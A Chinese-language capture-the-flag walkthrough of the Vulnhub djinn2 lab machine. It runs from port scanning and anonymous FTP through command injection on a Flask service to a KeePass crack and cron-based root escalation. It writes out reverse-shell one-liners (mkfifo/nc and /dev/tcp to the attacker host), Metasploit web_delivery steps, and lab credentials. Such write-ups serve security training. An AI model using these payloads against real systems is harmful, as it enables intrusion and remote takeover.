1、靶机开机后得到ip:192.168.0.107

2、扫描靶机端口,比上一个靶机多了个5000端口

21
22
1337
5000
7331
root@kali:~/桌面# nmap -p- -A 192.168.0.107
Starting Nmap 7.80 ( https://nmap.org )
Nmap scan report for 192.168.0.107
Host is up (0.00100s latency).
Not shown: 65530 closed ports
PORT     STATE SERVICE VERSION
21/tcp   open  ftp     vsftpd 3.0.3
| ftp-anon: Anonymous FTP login allowed (FTP code 230)
| -rw-r--r--    1 0        0              14 Jan 12 04:26 creds.txt
| -rw-r--r--    1 0        0             280 Jan 19 14:10 game.txt
|_-rw-r--r--    1 0        0             275 Jan 19 14:12 message.txt
| ftp-syst:
|   STAT:
| FTP server status:
|      Connected to ::ffff:192.168.0.109
|      Logged in as ftp
|      TYPE: ASCII
|      No session bandwidth limit
|      Session timeout in seconds is 300
|      Control connection is plain text
|      Data connections will be plain text
|      At session startup, client count was 2
|      vsFTPd 3.0.3 - secure, fast, stable
|_End of status
22/tcp   open  ssh     OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   2048 22:3c:7f:28:79:44:01:ca:55:d2:48:6d:06:5d:cd:ac (RSA)
|   256 71:e4:82:a4:95:30:a0:47:d5:14:fe:3b:c0:10:6c:d8 (ECDSA)
|_  256 ce:77:48:33:be:27:98:4b:5e:4d:62:2f:a3:33:43:a7 (ED25519)
1337/tcp open  waste?
| fingerprint-strings:
|   GenericLines:
|     ____ _____ _
|     ___| __ _ _ __ ___ ___ |_ _(_)_ __ ___ ___
|     \x20/ _ \x20 | | | | '_ ` _ \x20/ _ \n| |_| | (_| | | | | | | __/ | | | | | | | | | __/
|     ____|__,_|_| |_| |_|___| |_| |_|_| |_| |_|___|
|     @0xmzfr, Thanks for hiring me.
|     Since I know how much you like to play game. I'm adding another game in this.
|     Math game
|     Catch em all
|     Exit
|     Stop acting like a hacker for a damn minute!!
|   NULL:
|     ____ _____ _
|     ___| __ _ _ __ ___ ___ |_ _(_)_ __ ___ ___
|     \x20/ _ \x20 | | | | '_ ` _ \x20/ _ \n| |_| | (_| | | | | | | __/ | | | | | | | | | __/
|     ____|__,_|_| |_| |_|___| |_| |_|_| |_| |_|___|
|     @0xmzfr, Thanks for hiring me.
|     Since I know how much you like to play game. I'm adding another game in this.
|     Math game
|     Catch em all
|_    Exit
5000/tcp open  http    Werkzeug httpd 0.16.0 (Python 3.6.9)
|_http-server-header: Werkzeug/0.16.0 Python/3.6.9
|_http-title: 405 Method Not Allowed
7331/tcp open  http    Werkzeug httpd 0.16.0 (Python 3.6.9)
|_http-server-header: Werkzeug/0.16.0 Python/3.6.9
|_http-title: Lost in space
1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service :
SF-Port1337-TCP:V=7.80%I=7%D=6/28%Time=5EF8A0FA%P=x86_64-pc-linux-gnu%r(NU
SF:LL,1DD,"\x20\x20____\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x2
SF:0\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20_____\x20_\x20\x20\x20\x20
SF:\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\n\x20/\x20___\|\x20__\
SF:x20_\x20_\x20__\x20___\x20\x20\x20___\x20\x20\|_\x20\x20\x20_\(_\)_\x20
SF:__\x20___\x20\x20\x20___\x20\n\|\x20\|\x20\x20_\x20/\x20_`\x20\|\x20'_\
SF:x20`\x20_\x20\\\x20/\x20_\x20\\\x20\x20\x20\|\x20\|\x20\|\x20\|\x20'_\x
SF:20`\x20_\x20\\\x20/\x20_\x20\\\n\|\x20\|_\|\x20\|\x20\(_\|\x20\|\x20\|\
SF:x20\|\x20\|\x20\|\x20\|\x20\x20__/\x20\x20\x20\|\x20\|\x20\|\x20\|\x20\
SF:|\x20\|\x20\|\x20\|\x20\|\x20\x20__/\n\x20\\____\|\\__,_\|_\|\x20\|_\|\
SF:x20\|_\|\\___\|\x20\x20\x20\|_\|\x20\|_\|_\|\x20\|_\|\x20\|_\|\\___\|\n
SF:\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x2
SF:0\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x
SF:20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\
SF:n\nHey\x20@0xmzfr,\x20Thanks\x20for\x20hiring\x20me\.\nSince\x20I\x20kn
SF:ow\x20how\x20much\x20you\x20like\x20to\x20play\x20game\.\x20I'm\x20addi
SF:ng\x20another\x20game\x20in\x20this\.\n1\.\x20Math\x20game\n2\.\x20Catc
SF:h\x20em\x20all\n3\.\x20Exit\n>\x20")%r(GenericLines,20B,"\x20\x20____\x
SF:20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\
SF:x20\x20\x20\x20\x20\x20_____\x20_\x20\x20\x20\x20\x20\x20\x20\x20\x20\x
SF:20\x20\x20\x20\x20\x20\x20\n\x20/\x20___\|\x20__\x20_\x20_\x20__\x20___
SF:\x20\x20\x20___\x20\x20\|_\x20\x20\x20_\(_\)_\x20__\x20___\x20\x20\x20_
SF:__\x20\n\|\x20\|\x20\x20_\x20/\x20_`\x20\|\x20'_\x20`\x20_\x20\\\x20/\x
SF:20_\x20\\\x20\x20\x20\|\x20\|\x20\|\x20\|\x20'_\x20`\x20_\x20\\\x20/\x2
SF:0_\x20\\\n\|\x20\|_\|\x20\|\x20\(_\|\x20\|\x20\|\x20\|\x20\|\x20\|\x20\
SF:|\x20\x20__/\x20\x20\x20\|\x20\|\x20\|\x20\|\x20\|\x20\|\x20\|\x20\|\x2
SF:0\|\x20\x20__/\n\x20\\____\|\\__,_\|_\|\x20\|_\|\x20\|_\|\\___\|\x20\x2
SF:0\x20\|_\|\x20\|_\|_\|\x20\|_\|\x20\|_\|\\___\|\n\x20\x20\x20\x20\x20\x
SF:20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\
SF:x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20
SF:\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\n\nHey\x20@0xmzfr,\x20
SF:Thanks\x20for\x20hiring\x20me\.\nSince\x20I\x20know\x20how\x20much\x20y
SF:ou\x20like\x20to\x20play\x20game\.\x20I'm\x20adding\x20another\x20game\
SF:x20in\x20this\.\n1\.\x20Math\x20game\n2\.\x20Catch\x20em\x20all\n3\.\x2
SF:0Exit\n>\x20Stop\x20acting\x20like\x20a\x20hacker\x20for\x20a\x20damn\x
SF:20minute!!\n");
MAC Address: 08:00:27:5E:3A:EC (Oracle VirtualBox virtual NIC)
No exact OS matches for host (If you know what OS is running on it, see https://nmap.org/submit/ ).
TCP/IP fingerprint:
OS:SCAN(V=7.80%E=4%D=6/28%OT=21%CT=1%CU=42754%PV=Y%DS=1%DC=D%G=Y%M=080027%T
OS:M=5EF8A149%P=x86_64-pc-linux-gnu)SEQ(SP=100%GCD=1%ISR=10B%TI=Z%CI=I%II=I
OS:%TS=A)OPS(O1=M218ST11NW7%O2=M218ST11NW7%O3=M218NNT11NW7%O4=M218ST11NW7%O
OS:5=M218ST11NW7%O6=M218ST11)WIN(W1=28F0%W2=28F0%W3=28F0%W4=28F0%W5=28F0%W6
OS:=28F0)ECN(R=Y%DF=Y%T=40%W=29E0%O=M218NNSNW7%CC=Y%Q=)T1(R=Y%DF=Y%T=40%S=O
OS:%A=S+%F=AS%RD=0%Q=)T2(R=N)T3(R=N)T4(R=Y%DF=Y%T=40%W=0%S=A%A=Z%F=R%O=%RD=
OS:0%Q=)T5(R=Y%DF=Y%T=40%W=0%S=Z%A=S+%F=AR%O=%RD=0%Q=)T6(R=Y%DF=Y%T=40%W=0%
OS:S=A%A=Z%F=R%O=%RD=0%Q=)T7(R=Y%DF=Y%T=40%W=0%S=Z%A=S+%F=AR%O=%RD=0%Q=)U1(
OS:R=Y%DF=N%T=40%IPL=164%UN=0%RIPL=G%RID=G%RIPCK=G%RUCK=G%RUD=G)IE(R=Y%DFI=
OS:N%T=40%CD=S)Network Distance: 1 hop
Service Info: OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernelTRACEROUTE
HOP RTT     ADDRESS
1   1.00 ms 192.168.0.107OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 97.94 seconds

3、ftp连接之后还是和上一个靶机一样的三个文件

creds.txtnitu:7846A$56暂时看不出有啥用
game.txt@0xmzfr I would like to thank you for hiring me. I won't disappoint you like SAM.
Also I've started implementing the secure way of authorizing the access to our
network. I have provided @nitish81299 with the beta version of the key fob
hopes everything would be good.- @Ugtan_这个提示了似乎把sam换成了ugtan
message.txt@nitish81299, you and sam messed it all up. I've fired sam for all the fuzz he created and
this will be your last warning if you won't put your shit together than you'll be gone as well.
I've hired @Ugtan_ as our new security head, hope  he'll do something good.- @0xmzfr这个能看出来的信息和前面的game.txt差不多,没啥实际性的意义

4、nc连接1337端口,有三个选择,选择第一个之后,需要回答几道数学题,就给了个信息,也不知道有啥作用

然后第二个和第三个都没啥信息

5、访问5000端口,显示方法不被允许

这里可以猜到应该是不允许使用get方式进行访问,于是burpsuit抓包换成post方式,这里也可以使用火狐的hackbar插件,改了之后访问显示access denied,被禁止了,就先放着

验证的话可以使用OPTIONS方式进行访问,这个方法可以看到允许访问的方式,前提是这个方式被允许

6、访问7331端口,很自然的先看一下wish目录,提示说这里已经被修复了,提交数据也没有用,这也是为什么没有第一步直接到这里来的原因,因为两个靶机不可能漏洞设在同一个点

但是突破口似乎就只剩下这里了,还是扫描一下目录

robots.txt
source
wish

7、访问robots.txt得到/letshack目录,两个端口都进行了访问,都显示没有,那这个似乎没有啥用

wish目录我们已经试过了,接下来直接访问source,发现直接下载了一个文件,打开后发现是个python脚本

import refrom time import sleepimport requestsURL = "http://{}:5000/?username={}&password={}"def check_ip(ip: str):"""Check whether the input IP is valid or not"""if re.match(r'^(?:(25[0-5]|2[0-4][0-9]|1[0-9][0-9]|[1-9][0-9]|[0-9])''(\.(?!$)|$)){4}$', ip):return Trueelse:return Falsedef catcher(host, username, password):try:url = URL.format(host, username, password)requests.post(url)sleep(3)except Exception:passprint("Unable to connect to the server!!")def main():print("If you have this then congratulations on being a part of an awesome organization")print("This key will help you in connecting to our system securely.")print("If you find any issue please report it to ugtan@djinn.io")ip = input('\nIP of the machine: ')username = input('Your username: ')password = input('Your password: ')if ip and check_ip(ip) and username == "REDACTED" and password == "REDACTED":print("Verifiying %s with host %s " % (username, ip))catcher(ip, username, password)else:print("Invalid IP address given")if __name__ == "__main__":main()

执行的东西就是会要求输入ip、username、password,如果满足要求ip的格式、username和password都是REDACTED,就会用post方式去访问http://ip:5000?username=REDACTED&password=REDACTED,这不是像极了刚刚需要用post方式访问的5000端口嘛,但是结果却显示拒绝访问,这下有了用户名和密码再试试,没有显示拒绝访问了,但是也没有什么有用的信息

8、到了这里基本就没有什么头绪了,上网搜索一番,发现是在username这个参数这里可以进行rce(ps:感觉像脑洞ctf了)

这里直接尝试使用一句话反弹shell的时候是不行的,应该是有过滤,查看一下文件内容,看看过滤了什么

这里绕过的方式很多

(1)可以在本地新建一个shell脚本文件,然后将一句话写入进去,再使用wget命令下载到靶机的/tmp目录下,再给777权限,然后本地开启监听再运行脚本

(2)这里我想再熟悉一下前面学到的使用msf反弹的方式

msfconsole
use exploit/multi/script/web_delivery
set target 6
set payload linux/x64/meterpreter/reverse_tcp
set lhost 192.168.0.109
run

运行完上面的这些命令之后就可以得到一系列命令,这些命令的作用就和我第一种方法描述的差不多

复制出来之后需要注意三点:

(1)不能直接全部粘上去执行,因为前面是过滤分号的

(2)传参的地方不能直接使用空格,空格可以使用%20或者+代替

(3)下载之后需要指定路径为tmp,所以上面的命令需要修改一点点

msf5成功产生seseion

9、然后就是python3提权一下,在/var/backups目录下发现一个nitu.kdbx文件(ps:特地去前面靶机看了,是没有的)

什么是KDBX文件? 由Windows免费密码管理器KeePass Password Safe创建的文件; 存储密码的加密数据库,该数据库只能使用用户设置的主密码进行查看; 用于安全存储Windows,电子邮件帐户,FTP站点,电子商务站点和其他目的的个人登录凭据。 KDBX格式是KeePass的2版本引入的。

下载这个文件到本地,方法很多,这里我使用的是python3,和之前python2的那个一样

python3 -m http.server [端口]

本地使用keepass2打开文件,输入之前ftp中creds.txt文件中的密码7846A$56

这里可以直接右键选择复制密码就可以得到密码了

nitish/&HtMGd$LJB

10、ssh登录,查看本地进程的时候发现正在监听2843端口

netstat -ano

使用nc本地连接一下,输入账号密码得到内容

nc 127.0.0.1 2843

这里前面几个功能测试的时候都没有什么有用的信息,但是使用到第6个的时候,发现了一些信息,似乎查看notes的时候,会把name作为文件名cat一下

选择5新建一个note,name设置为/etc/passwd,看看能不能读取到内容,可以发现是能够成功读取到的

接下来就是看看能不能命令注入,设置name为/etc/passwd|id,发现身份是ugtan

接着就是反弹shell,不能直接使用bash反弹,使用revshellgen生成payload,成功反弹shell

rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/bash -i 2>&1|nc 192.168.0.109 6666 >/tmp/f

11、接着就是要提权到root,在/var/mail目录下有一封邮件,说是在ugtan的家目录下创建了文件夹,会有一个定时任务运行clean.sh

From root@djinn  Mon Jan 13 19:36:24 2020
Return-Path: <root@djinn>
X-Original-To: ugtan@djinn
Delivered-To: ugtan@djinn
Received: by djinn (Postfix, from userid 0)id E2B7C82E9F; Mon, 13 Jan 2020 19:36:24 +0530 (IST)
Subject: Way to clean up the systems
To: <ugtan@djinn>
X-Mailer: mail (GNU Mailutils 3.4)
Message-Id: <20200113140624.E2B7C82E9F@djinn>
Date: Mon, 13 Jan 2020 19:36:24 +0530 (IST)
From: root <root@djinn>Hey 0xmzfr,
I've setup the folder that you asked me to make in my home directory,
Since I'd be gone for a day or two you can just leave the clean.sh in
that directory and cronjob will handle the rest. - Ugtan_

12、进入到家目录,发现best/admin/ever路径,进入到里面,将反弹shell一句话写入到clean.sh,本地监听,稍等一会(定时任务是每三分钟执行一次)

echo "bash -i >& /dev/tcp/192.168.0.109/8888 0>&1" >clean.sh
chmod 777 clean.sh

成功反弹,运行proof.sh,渗透结束

13、补充

这里是解决了我之前很久的一个疑惑,以前使用wget下载文件到靶机上的时候,保存的内容老是已经执行完的结果,现在想但是应该是使用wget的-o参数,所以当时是先下载,然后使用mv修改文件名,其实应该是要用-O参数

-o和-O的区别,wget -h中有介绍两者的作用

14、参考文章

Djinn 2 Writeup – Vulnhub

下一篇写djinn3

vulnhub靶机-djinn2相关推荐

  1. [网络安全自学篇] 六十五.Vulnhub靶机渗透之环境搭建及JIS-CTF入门和蚁剑提权示例(一)

    这是作者的网络安全自学教程系列,主要是关于安全工具和实践操作的在线笔记,特分享出来与博友们学习,希望您们喜欢,一起进步.前文分享了SMBv3服务远程代码执行漏洞(CVE-2020-0796),攻击者可 ...

  2. Vulnhub靶机系列:SecTalks: BNE0x03 - Simple

    这次的靶机是vulnhub靶机:SecTalks: BNE0x03 - Simple 文章目录 靶机地址及相关描述 靶机地址 靶机描述 Simple CTF Location Hints 靶机设置 利 ...

  3. 全网最详细的渗透测试靶机实操步骤——vulnhub靶机实战(七)IMF【包含了sql注入,文件上传,gif图片木马制作,缓冲区溢出漏洞sploit等诸多知识点的靶机,超多干货】

    靶机地址:https://www.vulnhub.com/entry/imf-1,162/ 靶机难度:中级(CTF) 靶机发布日期:2016年10月30日 靶机描述:欢迎使用" IMF&qu ...

  4. [网络安全自学篇] 七十五.Vulnhub靶机渗透之bulldog信息收集和nc反弹shell(三)

    这是作者网络安全自学教程系列,主要是关于安全工具和实践操作的在线笔记,特分享出来与博友们学习,希望您喜欢,一起进步.前文分享了APT攻击检测溯源与常见APT组织的攻击案例,并介绍防御措施.这篇文章将讲 ...

  5. Vulnhub靶机DC系列-DC-8

    Vulnhub靶机DC系列-DC-8 靶场名称:DC-8 靶场地址:https://www.vulnhub.com/entry/dc-8,367/ 下载地址: DC-8.zip (Size: 379 ...

  6. Vulnhub靶机:EVILBOX_ ONE(很详细)

    目录 介绍 信息收集 主机发现 主机信息探测 网站探测 目录扫描 目录扫描字典 爆破页面参数 Burpsuite爆破参数 ffuf 补充:区分文件包含与文件读取 文件包含漏洞 文件包含.任意文件读取的 ...

  7. Vulnhub靶机渗透学习——DC-9

    本文仅个人学习所做笔记,仅供参考,有不足之处请指出! vulnhub靶机 vulnhub是个提供各种漏洞平台的综合靶场,可供下载多种虚拟机进行下载,本地VM打开即可,像做游戏一样去完成渗透测试.提权. ...

  8. Vulnhub靶机Wakanda渗透测试攻略

    前言 Wakanda是一个新的交易市场网站,很快会上线了.你的目标是通过黑客技术找到"振金"的确切位置. 页首配图 本vulnhub靶机环境由xMagass开发,并托管于Vulnh ...

  9. VMware检测不到vulnhub靶机IP地址解决办法

    提示:文章写完后,目录可以自动生成,如何生成可参考右边的帮助文档 vulnhub靶机检测不到IP地址解决办法 原因一:查看网络适配器是否为NAT模式 原因二:虚拟网络编辑器配置出错 原因三:靶机网卡配 ...

最新文章

  1. python解析库beautifulsoup_12_Python_解析库_BeautifulSoup的使用
  2. python空格_python 空格
  3. 【java】四步法:spring boot项目部署在CentOS 8(后端篇)
  4. 上架相关——App Store 上架流程
  5. 结构设计模式 - Flyweight设计模式(享元设计模式)
  6. Exchange邮件系统日志查看及管理
  7. 十一款游戏教你学会 CSS!
  8. [ZOJ 3607] Lazier Salesgirl
  9. C语言—gotoxy()函数
  10. 简单几招,教你将GIF动图转换为JPG图片
  11. 微信公众号迁移公证办理流程
  12. element el-table表格数据合并
  13. Qt自定义标题栏可拖动修改窗口大小
  14. 修改NPM的默认安装路径
  15. linux判断季末日期,C#根据当前时间确定日期范围(本周、本月、本季度、本年度)...
  16. Chat Top10 | 给面试官手写一个 Nacos,多少 K?
  17. day1——SpringBoot介绍
  18. Kubernetes PV和PVC 常见问题
  19. 《怪诞行为学2-非理性的积极力量》读书笔记
  20. 涂子沛《大数据》读书笔记

热门文章

  1. UML2.0包含的14种图
  2. 《花雕学AI》19:比较ChatGPT与新Bing在文章润色方面的应用优势与测试案例
  3. AutoCAD Civil3D纵断面图中如何修改坡长为变坡点之间的距离
  4. c++求矩阵的秩_高等代数|第八章 矩阵 最小多项式与若尔当标准形
  5. Stocks VS Securities
  6. 同步手绘板——PC端实现画板
  7. YOLOV5训练过程中想减少或者增加epoch
  8. CNN网络结构进化概述
  9. 0.96寸IIC接口ssd1306和ssd1315驱动oled12864屏幕介绍
  10. idea第一次上传代码到gitlab